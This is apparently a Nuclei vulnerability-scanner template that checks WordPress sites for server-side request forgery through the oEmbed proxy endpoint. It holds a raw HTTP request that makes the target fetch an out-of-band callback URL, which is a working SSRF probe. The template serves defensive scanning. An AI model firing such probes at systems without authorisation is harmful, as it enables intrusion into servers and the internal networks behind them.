id: wordpress-ssrf-oembed info: name: Wordpress Oembed Proxy - Server-side request forgery author: dhiyaneshDk severity: medium description: The oEmbed feature in WordPress allows embedding content from external sources, and if it's not properly secured, it could be exploited for SSRF. reference: - https://book.hacktricks.xyz/pentesting/pentesting-web/wordpress - https://github.com/incogbyte/quickpress/blob/master/core/req.go metadata: max-request: 2 fofa-query: body="oembed" && body="wp-" tags: wordpress,ssrf,oast,oembed http: - raw: - | GET /wp-json/oembed/1.0/proxy HTTP/1.1 Host: {{Hostname}} - | GET /wp-json/oembed/1.0/proxy?url=http://{{interactsh-url}} HTTP/1.1 Host: {{Hostname}} matchers-condition: and matchers: - type: word part: body_1 words: - 'rest_missing_callback_param' - type: word part: interactsh_protocol # Confirms the HTTP Interaction words: - "http" # digest: 4a0a00473045022100d01d8cb29dc06ed371272fb5eb94b0e4d93d1d9392e7d76a9aa9691b160c9f8302206e208f25527d7b4a7bb0578fff2e7d0ff119185620872124d38e02fe3d21c96a:922c64590222798bb761d5b6d8e72950